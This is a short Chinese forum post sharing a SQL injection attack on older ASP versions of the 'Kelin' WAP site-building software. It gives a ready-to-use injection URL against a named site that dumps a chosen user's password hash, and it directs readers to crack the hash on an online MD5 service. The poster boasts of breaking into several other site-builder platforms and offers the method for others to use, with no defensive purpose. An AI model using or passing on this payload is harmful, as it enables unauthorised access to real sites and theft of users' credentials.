这方法是以前秀才教的,对于柯林7.0前的asp版本都可以起到作用,能直接盗取到指定ID密码。
---------
http://wapzz.cn/album/photo.asp?siteid=1000&tousername=1‘ and 1=2 union (* 1,2,3,password,5 from [user] where userid=1000)--
----------
直接复制以上链接访问,userid就是指定会员ID,siteid是网站ID
如果成功,出来的字符串复制到www.cmd5.com解密便知道密码了。
-----------
以前的维普自助建站、酷爱自己助建站、斯凯都经常让我光顾过、只要是旧版的都能成功。
现在柯林已经升级到Net了,想黑那方法太麻烦了,没学会,我把方法发出来,看上的就回贴支持一下吧。